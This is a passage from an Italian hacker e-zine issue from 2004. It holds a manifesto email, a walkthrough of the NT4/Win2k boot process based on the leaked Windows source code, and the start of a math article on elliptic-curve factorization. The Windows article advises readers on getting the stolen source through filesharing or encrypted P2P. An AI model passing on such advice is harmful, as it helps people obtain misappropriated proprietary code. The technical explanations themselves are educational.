Copy Link
Add to Bookmark
Report

OndaQuadra 0C

eZine's profile picture
Published in 
OndaQuadra
 · 26 Apr 2019

  

__ ___ __ _ __ ___ __ _
| _/ _ \_ | _ __ __| | __ _| _/ _ \_ |_ _ __ _ __| |_ __ __ _
| | | | | || '_ \ / _` |/ _` | | | | | | | | |/ _` |/ _` | '__/ _` |
| | |_| | || | | | (_| | (_| | | |_| | | |_| | (_| | (_| | | | (_| |
| |\___/| ||_| |_|\__,_|\__,_| |\__\_\ |\__,_|\__,_|\__,_|_| \__,_|
|__| |__| |__| |__|

.:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
.: [O]nda[Q]uadra [OQ20040615 0X0C] ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: http://www.ondaquadra.org ::
:: info(at)ondaquadra<dot>org - articoli(at)ondaquadra<dot>org ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

"Tutto nel ciberspazio e' scandito dalla squarewave dei micro-processori
Il clock dei micro e' come un battito cardiaco elettronico..."


.:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
.: [O]nda[Q]uadra [OQ20040615 0X0C] ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: 0x00 [L0GiN] OQ NU0V0 C0RS0 [oq~staff] ::
:: 0x01 [C0DiNG] UNDERSTANDiNG WiN 2K S0URCES - PARTE 1 [AndreaGeddon] ::
:: 0x02 [C0DiNG] MET0D0 DELLE CURVE ELLiTTiCHE PER LA ::
:: FATT0RiZZAZi0NE Di NUMERi iNTERi [binduck] ::
:: 0x03 [C0DiNG] C0LLiSi0N DETECTi0N [darko] ::
:: 0x04 [C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 2 [spectrum] ::
:: 0x05 [CRYPT0] iNTR0DUZi0NE Ai ViRUS CRiTT0GRAFiCi [MiMMuZ] ::
:: 0x06 [ELECTR0] iNTR0DUZi0NE ALL'ELETTR0NiCA [master^shadow] ::
:: 0x07 [SECURiTY] ELEMENTARE WATS0N! [eazy] ::
:: 0x08 [SECURiTY] PSEUD0 R00TSHELL WiTH iCMP_RCV() H00KiNG #2 [Evil] ::
:: 0x09 [SECURiTY] ViRTUAL PRiVATE NETW0RK 0VER 0NE-TiME PAD [lesion] ::
:: 0x0A [SHUTD0WN] THEY'RE KiLLiNG iNTER-RAiL [inquis] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: LEGAL DISCLAIMER ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Nessuna persona dello staff di OndaQuadra si assume responsibilita'
per l'uso improprio dell'utilizzo dei testi e dei programmi presenti
nella e-zine, ne' per danni a terzi derivanti da esso.
OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni
effettuate con la legge 23 dicembre 1993, n. 547 ed in particolare
agli artt. 615-quater- e 615-quinques-.
Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come
avvengono le tecniche di intrusione al fine di far comprendere come
sia possibile difendersi da esse, rendere piu' sicura la propria box e
in generale approfondire le proprie conoscenze in campo informatico.
I programmi allegati sono semplici esempi di programmazione che hanno
il solo scopo di permettere una migliore comprensione di quanto
discusso e spiegato nei testi.
Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001,
n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex
art. 1 e pertanto non inclusa nella previsione dell'art. 5 della legge
8 febbraio 1948, n. 47.

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: COSTITUZIONE DELLA REPUBBLICA ITALIANA ::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Diritti e doveri dei cittadini: Rapporti civili

Articolo 21
Tutti hanno diritto di manifestare liberamente il proprio pensiero
con la parola, lo scritto e ogni altro mezzo di diffusione. [...]


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x00][L0GiN] OQ NU0V0 C0RS0 [oq~staff] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

From: "trtms" <trtms(at)yahoo<dot>it>
To: <hmoq(at)yahoogroups<dot>com>
Sent: Monday, May 19, 2003 11:31 PM
Subject: Re: [ondaquadra] /me perplesso


[...]

la nuova oq sara' una ezine radicale, lontana dal conformismo, dal
mainstream dell'hacking, dalla banalita'/ipocrisia del movimento
open-source.
sara' posizionata stilisticamente in un'area vicina alle avanguardie
del '900 e scivolera' verso il situazionismo passando per la
beat-generation: marinetti-ginsberg-bey. piu' luther blisset e meno
linus gates (bill torvalds) :>
oq incoraggera' azioni di Terrorismo Poetico e Sabotaggio Artistico;
porra' l'accento sull dandismo dell'hacking e l'uso delle tecnologie
per rendere migliore la vita di tutti e raggiungere la liberta' in
tutte le dimensioni.
alla base di tutto un forte senso di solidarieta', condivisione,
vicinanza agli emarginati e ai poveri.
su tutto l'Utopia Pirata. Su oq sventolera' la bandiera pirata (jolly
roger).

[...]

alla nuova oq piace l'ombra nn la luce; preferisce il Vuoto al Pieno.


saluti
=====
trtms(at)yahoo<dot>it
"Anche il Vuoto possiede un ritmo" (Miyamoto Musashi)
Key fingerprint = 1B35 1996 2540 8727 CD88 802C FD26 446C 5591 EB27


Nota: La mailinglist hmoq(at)yahoogroups<dot>com e' stata soppiantata
dall'attuale mailinglist pubblica del progetto, http://ml.ondaquadra.org.


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x01][C0DiNG] UNDERSTANDiNG WiN 2K S0URCES - PARTE 1 [AndreaGeddon] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:: INTRO ::

Questo e' il primo di una serie di articoli nei quali verra' trattato un
po' in dettaglio il kernel di windows 2000. In particolare Faremo
qualche riferimento ai sorgenti trafugati e diventati ormai di pubblico
dominio. Per motivi che ovviamente capirete non potro' riportare il
codice direttamente in questo articolo, ma faro' precisi riferimenti ai
file che descrivero', in questo modo se avete i sorgenti vi sara' facile
seguire il discorso.

:: REQUISITI ::

Beh prima di tutto sarebbe bene che aveste i sorgenti di cui parlavamo
poco fa, se non li avete potete lo stesso leggere l'articolo che avra'
comunque un'impronta abbastanza generica. In secundis, dovete avere
delle conoscenze di base sull'architettura hardware x86, infatti qui
non trattero' in dettaglio cose come la IDT etc, per cui manuali intel
alla mano, studiate! In ultmo si suppone che abbiate delle conoscenze
di base sull'architettura di un sistema operativo, cioe' che sappiate
cosa e' un file system, cosa e' uno schedluer etc. Detto questo possiamo
proseguire.

:: BIBLIOGRAFIA ::

Ecco alcuni testi che vi consiglio sull'argomento:
The Windows 2000 Device Driver Book - Art Baker, Jerry Lozano
Inside Windows 2000 - Russinovich, Solomon (sysinternals)
Windows driver model - Oney
Windows NT Native Api - Gary Nebbett
Undocumented Windows NT - Dabak, Phadke, Borate
Windows NT File SYstem Internals - Nagar
Windows NT Device Driver Development - Viscarola

:: INIZIAMO A RACCAPEZZARCI ::

La fuga dei sorgenti risale ai primi dieci giorni di febbraio 2004,
la diretta responsabile e' stata la Mainsoft, partner di vecchia
data della casa Microsoft. Il contesto del furto non e' ben chiaro.
Partiamo dall'inizio, ovvero: dove trovo questi sources? Beh qui dovete
arrangiarvi, potete cercare nei circuiti di filesharing, oppure in
qualche ftp privato. Sinceramente vi sconsiglierei di farlo, meglio
se ve li fate mandare di persona da qualcuno che gia' li ha, oppure se
volete usare circuiti pubblici almeno usate qualche p2p crittografato.
Quante versioni ci sono? Beh girano tantissime fake, cmq le versioni
sono solo due: una sono i sorgenti di windows nt4 e l'altra sono quelli
di windows 2000 sp1. Qui faremo riferimenti a win2k, ma cmq e' bene
avere anche quelli di nt4, infatti sono molto diversi contengono
alcune cosette in piu'. Chiaramente la base e' sempre la
stessa, per cui i discorsi che affronteremo qui valgono anche per win
xp e 2003. Sono sorgenti completi? Non in senso stretto. C'e' il kernel,
le varie dll userspace (vedi in seguito), persino il solitario! L'unica
vera mancanza e' la parte relativa a ntfs, che e' gestita dal relativo
driver non presente nei sorgenti, e la mancanza di tutta la gdi.
In generale diciamo che la parte interessante, cioe' il kernel, e'
completa, quello che manca e' una piccolissima parte.
Posso quindi ricompilare il tutto?
No. Nei sorgenti non sono presenti alcuni include e definizioni
senza i quali non e' possibile ricompilare. Ho chiesto anche a Xoanon,
(che colgo l'occasione per salutare) e lui mi ha confermato che forse
il kernel in se' potrebbe essere ricompilabile con l'aiuto dell'ifs kit,
ma tutta la parte delle dll non e' possibile ricompilarla. Io ho fatto
alcune prove ma senza successo, e al momento in cui scrivo non ho
notizie di kernel ricompilati o cose simili. Se avete notizie in merito
oppure se siete riusciti a fare qualcosa di concreto fatemi sapere :)
A cosa servono questi sorgenti? Beh non a tantissimo direi. Servono per
lo piu' come documentazione agli sviluppatori di driver o emulatori. In
effetti questo pacchetto di sorgenti fa parte del programma WISE di
MicroSoft (Windows Interface Source Environment), che e' un programma
mirato a permettere agli sviluppatori di integrare soluzioni Windows
Based in sistemi Unix e Macintosh. Ma e' vero che la diffusione dei
sorgenti e' un pericolo per la sicurezza? Assolutamente no, tutti gli
advisor sono stati alquanto paranoici (ed ignoranti) in merito. In
effetti al momento in cui scrivo sono passati circa due mesi e non si
hanno notizie di exploit gravi derivati dall'analisi dei sorgenti.
Come e' scritto il codice, e con cosa lo compilano? Il kernel e' scritto
tutto in C (non C++) ed in piccole parti in asm, quelle relative all'hw.
Il codice applicativo e' scritto invece maggiormente in C++. Ovviamente
la progettazione del kernel e' stata fatta con una mentalita' object
oriented, sebbene il codice sia scritto in C. Il codice si compila con
il visual studio, ovviamente non quello commerciale ma una versione
appositamente modificata (che ovviamente hanno solo loro). La diffusione
di questi sorgenti cosa cambiera' a livello di hackers, programmatori,
utenti finali etc? Niente. Chi sviluppa driver ha gia' delle ottime
conoscenze in merito, conoscenze che finora erano derivate per lo piu'
da documentazioni di terze parti. Certo i sorgenti arricchiranno ancora
di piu' le documentazioni gia' presenti, ma comunque chiunque si trovi
in questo campo e' abituato al reverse engineering, per cui
probabilmente quello che gli interessava del kernel se l'e' gia'
studiato dal disassemblato. Non tutti sanno infatti che
Microsoft mette a disposizione i simboli di debug di ogni modulo di
windows, in modo che nel disassemblato un codice come

mov [0x11223344], eax
push 0x22334455
call 0x77889900

risolto tramite i simboli di debug diventi una cosa tipo:

mov [_TickCount], eax
push _dwSeconds
call _GetTime

in pratica una volta risolti tutti i nomi il passo dall'assembler al C
e' molto breve. Non c'e' molta differenza tra leggere il codice qui
sopra e il relativo codice c:

TickCount = ...blabla...;
GetTime(dwSeconds);

In pratica, windows E' opensource, basta saper leggere l'assembler :P.
Basta prendere come esempio Matt Pietrek che del vecchio windows 95
aveva riscritto molte cose in pseudocodice partendo dal reversing del
kernel. L'unico passo avanti concreto che vedremo sara' negli emulatori
di win su piattaforme linux, per il resto la eco del windows source
leak si e' gia' spenta.
Detto questo abbiamo una overview generale dell'argomento. E' ora di
scendere nei dettagli!

:: ORGANIZZAZIONE SORGENTI ::

Se non volete perdervi nel mare di righe di codice sara' meglio fare una
mappa dei vari componenti. Innanzitutto vediamo 3 directory principali,
\bsc, \private, \public. La prima contiene i dati per glimpse per il
search engine, l'ultima contiene l'sdk e l'oak. Sono entrambe di scarsa
utilita'. Quello che serve e' la \private, sede di tutto il codice. Nei
sorgenti di nt4 e' presente solo \private. Ora la \private come potrete
notare e' bella grossa, quindi non ve la posso commentare tutta. Vediamo
invece di farci una "cartina topografica" dei vari componenti:

modulo: ntoskrnl.exe
locazione: \private\ntos
descrizione: il kernel di win2k, l'equivalente del bzImage di linux

modulo: ntdll.dll
locazione: \private\ntos\dll
descrizione: gateway per le transizioni um->km (syscalls)

modulo: kernel32.dll
locazione: \private\windows\base\client
descrizione: la parte usermode del kernel di windows

modulo: user32.dll
locazione: \private\ntos\w32\ntuser\client
descrizione: modulo per varie utilita', tipo creazione finestre,
manipolazione testo etc

modulo: advapi32.dll
locazione: \private\windows\screg\winreg
descrizione: api per il registry

questi sono i principali componenti, anche se noi ci concentreremo al
90% sul kernel. In \private\windows\shell\ trovate i source di regedit,
del taskmanager, giochi e applicazioni varie. Ci sono anche i source di
altre dll come comdlg32 etc. Le cose gravi che mancano sono:
ntfs.sys - driver che gestisce ntfs
gdi32.dll - libreria per le funzioni grafiche di base
nella versione dei source di 2k manca anche il bootloader, presente
invece nei sorgenti per nt4, precisamente nella directory

\private\ntos\boot

ci sono rispettivamente il bootsector, ntloader, ntdetect, setup loader
ognuno in una propria sottodirectory. In particolare c'e' il bootsector
relativo a ogni fs, compreso ntfs. Tornando ai sorgenti di win 2k
troviamo parte del codice relativo alla rete in

\private\inet

cioe' parte del codice di ie (mshtml), urlmon, wininet.
Detto questo abbiamo una idea generale della struttura del source,
se cercate altre cose non menzionate non vi sara' difficile trovarle,
magari usate un buon grep :)

:: SI PARTE DAL BOOT ::

Ok e' ora di iniziare a toccare con mano il codice. Uhm da dove possiamo
partire? Dal boot? Vada per il boot. Come visto sopra dobbiamo andare a
cercare nella directory \private\ntos\boot. Il bootsector vero e
proprio sta nella subdir \bootcode, nel quale ci sono diversi source
rispettivi a diversi file system. Prima di tutto vediamo che il punto
di partenza e' il source in \mbr, cioe' il codice fisico che risiedera'
nel master boot record. E' il primissimo pezzo di sistema operativo che
viene eseguito al boot subito dopo il codice del bios (x86mboot.asm).
Come leggete dai commenti e' il codice STANDARD per ogni pc, cioe' il
codice legge la partition table alla fine del master boot record, trova
la partizione marcata come bootabile, ne copia il bootsector in memoria
e lo esegue. Il mbr infatti e' fatto in questo modo:

+------------+ -- MBR --
| BootCode | Executable Code
| Partition1 | PartitionTable
| Partition2 |
| Partition3 |
| Partition4 |
+------------+ -- END MBR --
| Partition1 | Partizioni
| |
. .
. .

Quindi il bootcode non fara' altro che rilocarsi all'indirizzo 0:0600,
saltare al codice rilocato, leggere l'entry bootabile della partition
table, copiarne il bootsector all'indirizzo std di boot (0:7C00), ed
infine eseguirlo, cosi' e' come se il bios avesse bootato direttamente
la partizione bootabile descritta nella partition table. Uhm notate
che in x86mboot.asm alla riga 48 dopo che il codice si auto-reloca
all'indirizzo 0:0600 poi per saltarci usa un jmp far encodato a mano,
cioe' i byte che vedete

db 0EAh
db ...blabla...

sono i byte relativi all'opcode dell'istruzione jmp 0:0600, il cui
address viene risolto a compile time. Ritroverete questo jump scritto
a mano anche quando trovato il sector bootabile, il codice saltera' di
nuovo all'address 0:7C00 per bootare il bootsector. A questo punto
il bootcode cambia, infatti nella sottodirectory ntos\boot\bootcode\
oltre che \mbr troviamo altre directory, ognuna relativa a un fs:

\etfs Electronic Tariff Filing System
\fat fat32 per la precisione
\hpfs Pinball File System (per OS2)
\ntfs il fs nativo di nt
\ofs cucu'! La direcotry e' vuota!

In realta' sono supportati fat e ntfs, ed e' altamente sconsigliabile
installare win nt su una partizione fat32. Ora possiamo concentrarci
sul bootsector relativo a ntfs, gli altri funzionano allo stesso modo.
Il compito di questo pezzo di codice (ntfsboot.asm) e' semplicemente
quello di leggere il file ntldr, mapparlo in memoria all'indirizzo
2000:0000 e poi eseguirlo. Notate che siamo ancora in real mode per cui
tutto il codice e' ancora a 16 bit. Come vediamo questo codice e' un
po' troppo e non ci sta tutto nei 512 bytes del primo settore: infatti
il bios mappa il primo settore del disco (traccia 0, testina 0, settore
1) in memoria all'indirizzo fisico 7C00. Ora in realta' qui non e' stato
il bios a mappare in memoria il primo settore della partizione bootabile
ma e' stato il codice del mbr. Perche' allora tale codice non mappa
tutto il codice necessario (che per l'ntfsboot e' piu' grande di 512
bytes)? Ovviamente per compatibilita' con altri sistemi operativi. Ecco
quindi che il ntfsboot appena mappato ha subito il problema di doversi
mappare tutto il resto del codice. Ed infatti il codice inizia a leggere
dal disco dal primo settore tutto il bootsector e lo riloca all'address
0D00:0000, cosi' avremo in memoria a quell'indirizzo sia il bootsector
che i settori successivi che contengono il codice che serve. Una volta
letto e mappato il codice, salta all'indirizzo 0D00:0200, cioe' al
secondo settore letto dal disco (il primo e' gia' stato eseguito e non
serve piu'). Questo si trova all'indirizzo fisico D200, al di sotto
dell'indirizzo fisico 20000h dove verra' mappato il file ntldr, quindi
niente problemi di interferenza. Di nuovo vediamo che il salto al nuovo
codice rilocato avviene (alla riga 165) con una forma:

push seg
push offset
ret

sembra che abbiano problemi a scrivere in assembler i jmp far! Vabbe'
niente di rilevante. Quindi ora l'esecuzione si sposta al secondo
settore alla procedura mainboot. Prima di questa procedura nel codice
vediamo alcuni dati e la signature "55AA" che sta alla fine del primo
settore. La mainboot procedure fa la lettura vera e propria del file
ntldr (potete vedere molte funzioni usate per leggere da ntfs), e alla
fine restituisce l'esecuzione all'immagine in memoria di ntldr che come
abbiamo gia' detto si trova a 2000:0000. I bootsector relativi agli
altri tipi di file system agiscono allo stesso modo, cambia solo il
codice che legge il file dal disco. Adesso quindi ci dobbiamo spostare
sul codice di ntldr. Notate che finora non si e' ancora fatto nulla
delle inizializzazioni standard, tipo settare il paging, il protected
mode etc etc. Siamo ancora in realmode, quindi ntldr iniziera' la sua
esecuzione a 16bit e poi fara' il passaggio al protected mode e quindi
ai 32 bit. Okay quindi ora ci dobbiamo spostare al file

\ntos\boot\startup\i386\su.asm

vi ricordo che siamo sempre nei source di nt4. Vediamo che la prima riga
consiste in un jmp RealStart. Tra questo jmp e la routine stessa vediamo
del codice riguardante FAT. Se infatti si e' bootato il sistema da FAT32
allora il codice deve ancora occuparsi di leggere ntldr e mapparlo in
memoria prima di eseguirlo. Nel nostro caso stiamo considerando ntfs per
cui non ci interessa. La routine RealStart non fa altro che preparare i
segmenti e lo stack e poi passare l'esecuzione alla procedura SuMain che
si trova nel file

\ntos\boot\startup\i386\main.c

finalmente ci spostiamo su un po' di codice C. Tenete comunque a mente
il file su.asm perche' esporta la funzione di enabling del protected
mode che vedremo fra poco. Questa procedura inizializza il subsystem
video (InitializeVideoSubSystem in display.c), spegne il motore del
floppy in caso il sistema e' stato bootato da floppy (TurnMotorOff in
su.asm), fa altri lavori di inizializzazione, tipo calcolare il size
della memoria necessaria per l'os loader, quindi dopo questa robaccia
arriva al punto cruciale: il passaggio a 32bit! Infatti vediamo che il
codice abilita la linea A20 (EnableA20 in a20.asm), reloca le strutture
IDT e GDT che dovra' usare in protected mode. Quindi e' l'ora di settare
il pm ed il paging (EnableProtectPaging in su.asm). Da notare che il
paging non verra' abilitato alla prima volta che si esegue questa
procedura, in quanto lo startup loader non ha ancora determinato un
descrittore valido per PDE e PTE. L'abilitazione al paging verra' fatta
all'inizio dell'os loader, codice che vedremo tra poco. In particolare
vediamo che imposta anche il selettore per il PCR nel segmento FS, cioe'
il Processor Control Region, una struttura fondamentale del kernel,
quindi ci aspettiamo che presto il codice andra' a finire al modulo
ntoskrnl. Inoltre sono impostate le aree di memoria relative a IDT e GDT
mentre la LDT e' azzerata, infatti nt non la usa mai al contrario di
consumer windows. Quindi il switch in pm avviene tramite

mov eax, c30
... (la prima volta evita l'abilitazione del paging)
or eax,PROT_MODE
mov cr0,eax

pero' non abbiamo ancora finito tutto il passaggio a 32 bit, per ora il
codice sta impostando i segmenti, le strutture e il descrittore TSS. Il
controllo ritorna alla procedura SuMain, che chiama la funzione
RelocateLoaderSections per calcolare l'indirizzo corretto al quale si
trova l'entry point dell'os loader. Questo infatti e' un coff PE valido,
ovviamente embedded dentro l'ntldr, quindi lo possiamo considerare il
primo vero processo che windows esegue. Il passaggio dell'esecuzione
all'os loader avviene tramite la funzione TransferToLoader usando come
entry point l'address appena calcolato con la precedente funzione di
reloc. Quindi ora ci spostiamo nella directory

\ntos\boot\lib\i386

dove ci sono i vari file che ci interessano. In particolare nel file

entry.c

c'e' l'entry point del suddetto PE, identificato dalla funzioncina
NtProcessStartup. Analizziamola e vediamo che DoGlobalInitialization e'
la prima funzione ad essere chiamata. Anche qui vediamo la prima
funzione chiamata, cioe' la InitializeMemorySubsystem. Parentesi: molte
funzioni usano come parametro il BootContextRecord, potete vederne la
dichiarazione in bootx86.h (struttura _BOOT_CONTEXT). Torniamo alla
funzione InitializeMemorySubsystem nel file memory.c. In questo file ci
troviamo anche una mappa della memoria (immagini dei componenti e
relativi stacks / heaps) che ci possono sempre tornare utili. Questa
funzione ha subito un while che cicla per tutti MemoryDescriptor che si
trovano nel BootContextRecord. Ogni memory descriptor infatti e' una
struttura con due campi, BlockBase e BlockSize, descrivono l'indirizzo
di partenza di un'area di memoria e la sua grandezza. Quindi
BootContext->MemoryDescriptorList e' un array di memory descriptor che
appunto descrivono tutti i blocchi di memoria che servono. Tenete a
mente che siamo in protected mode ma senza il paging abilitato, per cui
in questo momento ogni indirizzo che usiamo corrisponde ad un indirizzo
fisico! Ecco quindi che questo while prepara gli indirizzi di memoria
(rispettando il page boundary) per tutti i blocchi di memoria gia' noti.
Il loader non utilizza la memoria al di sopra di 16 mega (per non dover
gestire i data transfer dai bus isa), quindi tutta quella al di sopra
dei 16 mega viene marcata come MemoryFirmwareTemporary. Una volta finito
il while, tutta la memoria fisica e' stata descritta (con le funzioni
MempAllocDescriptor e MempSetDescriptorRegion), l'array di descrittori
e' mantenuto nella variabile globale MDArray[] (definita in arcemul.c).
Adesso sono stati creati dei "macro" descritttori che descrivono
sommariamente la memoria fisica, quindi dopo il while c'e' il codice che
si occupa di descrivere il primo mega di memoria. Infatti qui ci sono
tutti i componenti di memoria utili al loader, come la interrupt vector
area, heaps di sistema ecc. Notate che il primo mega di memoria virtuale
coincidera' con il primo mega di memoria fisica, per permettere allo
osloader di continuare l'esecuzione sotto il primo mega e di mappare
la memoria dedicata al kernel. Sempre tramite MempAllocDescriptor
vediamo che dall'MDArry iniziale vengono ricavati dei sotto-descrittori
per le aree di memoria sotto il mega. Finito tutto questo lavoro di
creazione di descrittori, finalmente giungiamo alla MempTurnOnPaging!
Questa funzione non fa altro che fare un walk dell'MDArray in modo da
chiamare la funzione MempSetupPaging con la quale vengono create le
entry per le PDE\PTE per tutta la memoria necessaria che si e' calcolata
pocanzi. Le variabili globali sono PDE per la PDE e HalPT per la PTE.
Una volta fatto il walk dei memory descriptors, la PDE\PTE e' stata
impostata correttamente, quindi la funzione MempTurnOnPaging abilita
il paging:

mov eax,PDE
mov cr3,eax

mov eax,cr0
or eax,CR0_PG
mov cr0,eax

e' la prima volta che avviene da quando abbiamo bootato! Come vedete nel
page directory base register (CR3) viene impostato il ptr all'array di
PDE, quindi in CR0 viene abilitato il flag relativo al paging. Ok, dopo
l'abilitazione la funzione InitializeMemorySubsystem chiama MempCopyGdt
per spostare la GDT e IDT in una nuova area di memoria. Ok la funzione
e' finlamente finita e torniamo a DoGlobalInitialization. Vediamo che
c'e' qualche altra robaccia ed infine la chiamata alla funzione
InitializeMemoryDescriptors, che come vediamo dai commenti sarebbe il
passo 2 della InitializeMemorySubsystem. Infatti prima sono state
create le PDE\PTE per passare al paging, ora questa funzione si occupa
di tornare nell'MDArray e allocare la memoria per tutti i descrittori
che avevano marcato la memoria come "reserved". Fatto cio' abbiamo
finito anche la DoGlobalInitialization. Back to the NtProcessStartup,
abbiamo qualche funzione di inizializzazione, che si occupano di trovare
la partizione da cui abbiamo bootato, di inizializzare la memoria di
sistema e l'I/O system, quindi arriviamo a BlStartup. Vediamo che subito
dopo c'e' un codice

// we should never get here!
do {
GET_KEY();
} while ( 1 );

il che vuol dire che il compito di ntldr termina dentro la funzione
BlStartup, che si trova nel file initx86.c nella directory

\ntos\boot\bldr\i386

cosa fa questa funzione? Si occupa di aprire il drive e leggere il file
boot.ini, dove sono definite tutte le entry bootabili. Tali entry sono
mostrate con il classico menu di scelta, quindi una volta selezionata
l'entry da bootare l'os determina disco/partizione/path e arriviamo alla
funzione BlOsLoader, che si trova nel file

\ntos\boot\bldr\osloader.c

ci siamo quasi, come vedete poco prima di questa funzione compaiono le
definizioni dei nomi "ntoskrnl.exe" e "hal.dll", saranno questi i
componenti che saranno caricati. Come vedete il codice e' commentato
molto bene, per cui e' facile capire cosa succede: apre le partizioni
di boot e di sistema, apre l'input/output console, inizializza la
memoria con la funzione BlMemoryInitialize, presente nella directory

\ntos\boot\lib

nel file blmemory.c, dove sono inizializzati lo stack, l'heap e la
memory allocation list. In questo caso l'unico memory descriptor che e'
stato allocato e' quello relativo all'os loader, visto che non sono
stati caricati altri programmi, per cui la funzione cerchera' il primo
memory descriptor sotto l'os loader, poi alloca l'heap al piu' alto
indirizzo possibile, alloca lo spazio per il loader parameter block,
quindi il loader stack e il loader heap. Poi dopo la memory init
vediamo altre inizializzazioni (i/o e resource section), quindi vediamo
che c'e' la gestione dei parametri di boot che erano stati specificati
nel boot.ini, infatti sono gestiti i parametri /KERNEL= /HAL= che
permettono di specificare un kernel e un hal diversi da quelli di
default, cosa che di solito torna utile quando si vogliono caricare
dei checked environment per il driver testing. Fatto cio', genera i path
dei due componenti e dell'hive di sistema, che vedremo tra poco. Il
primo ad essere caricato e' ntoskrnl.exe con la funzione BlLoadImage,
che appunto ne carica l'immagine eseguibile in memoria. Quindi il loader
determina il tipo di fs usato e prende gli eventuali argomenti da
passare al kernel. Ora e' il turno di hal.dll, anche lui caricato con
la BlLoadImage. Vi ricordo che anche questi due moduli sono dei coff PE,
infatti la funzione si trova nel file

\ntos\boot\lib\peldr.c

che non e' il pe loader completo, infatti poco dopo nel codice dello
osloader viene usata la funzione BlScanImportDescriptorTable con la
quale trova manualmente le dll importate dai moduli caricati e a sua
volta le carica e fa il bind delle api import/export. Caricato il
kernel, l'hal e tutti i relativi moduli importati, e' giunto il momento
di caricare i driver. Per farlo deve consultare l'hive di sistema. Che
cos'e' questo hive? Gli hive sono i file che contengono le informazioni
gestite dal registry. In particolare ora ci occupiamo dell'hive
\windows\config\system che contiene tutte le impostazioni dell' hardware
e i relativi drivers. Caricati i driver c'e' la funzione BlSetupForNt
che si occupa di fare alcune inizializzazioni hardware, tipo la
relocazione dell'abios, del tss etc. Finalmente il loader ha finito il
suo compito, e arriviamo alla riga

(SystemEntry)(BlLoaderBlock);

con la quale viene chiamato l'entry point del modulo ntoskrnl. Da adesso
passiamo ai sorgenti di win2k, possiamo abbandonare quelli di nt4.
L'entry point del kernel si trova nel file

\win2k\private\ntos\ke\i386\newsysbg.asm

ed e' la funzione KiSystemStartup che prende come argomento il loader
block di cui si e' parlato qualche riga piu' su.
Qui termina questa prima parte, abbiamo visto cosa fa il boot etc etc,
siamo arrivati al kernel, nel prossimo articolo quindi vedremo
l'inizializzazione del kernel e qualche altra roba. Alla prossima!


See ya!
AndreaGeddon <andreageddon(at)hotmail<dot>com>
www.andreageddon.com - www.reteam.org - www.quequero.org


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x02][C0DiNG] MET0D0 DELLE CURVE ELLiTTiCHE PER LA ::
:: FATT0RiZZAZi0NE Di NUMERi iNTERi [binduck] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Prima di passare al prossimo algoritmo per la riduzione in fattori
primi di un numero, conviene spiegare alcuni concetti matematici
e alcuni algoritmi che stanno alla base delle operazioni tra numeri
interi composti da molte cifre.
N.B. Questi sono solo riassunti basilari e molto semplici, che potete
consultare per avere un idea delle nozioni che sono richieste negli
articoli matematico-informatici. Per una completa visione di questi
leggete testi di matematica e algoritmi.
Mi raccomando ricordate che la matematica e' molto importante se
volete tuffarvi nel campo della crittografia.
Le implementazioni degli algoritmi presentati in questo articolo
possono essere facilmente trovate in ogni libreria matematica per
qualsiasi linguaggio di programmazione.

0] Notazione usata

1] Concetti fondamentali

1.1] Matematica
1.1.1] Strutture algebriche
1.1.2] Gruppo
1.1.3] Anello
1.1.4] Campo
1.1.5] Aritmetica modulare
1.1.6] Piccolo teorema di Fermat

1.2] Informatica
1.2.1] Calcolabilita' e complessita' di un algoritmo
1.2.2] Rappresentazione numerica di un messaggio
1.2.3] Rappresentazione di un messaggio in Zn

2] Algoritmi fondamentali
2.1] Test di primalita' e teorema di Fermat
2.1.1] Probabilistic primality test
2.2] Numeri random
2.2.1] Linear congruential method
2.3] Massimo comun divisore GCD

3] Elliptic Curve Method


0]
+ Somma
- Sottrazione
/ Divisione
* Moltiplicazione
^ Elevamento a potenza
% Resto della divisione
mod Modulo
= Assegnamento
== Uguaglianza
> Maggiore
< Minore
>= Maggiore uguale
<= Minore uguale
/= Diverso
|x| Valore assoluto di x
° Operatore di composizione
[A1..Ax] Elementi da 1 a x
=> Allora
<=> Se e solo se
@ Per ogni
E Appartenenza
t.c. Tale che
-] Esiste
idA Identitita' in A
log(n) Logaritmo in base due di n
Log(n) Logaritmo in base dieci di n
lim(x -> +inf) f(x)
si legge: limite per x che tende a piu' infinito di f(x)
GCD(a, b) Massimo comun divisore tra a e b
LCM(a, b) Minimo comune multiplo tra a e b

1] Concetti fondamentali
In questa sezione verranno spiegati in modo molto basilare alcuni
concetti matematici necessari.

1.1.1] Strutture algebriche
Dato un insieme A una operazione binaria interna e' una legge che ad ogni
coppia del prodotto cartesiano AxA fa corrispondere univocamente un
elemento di A.

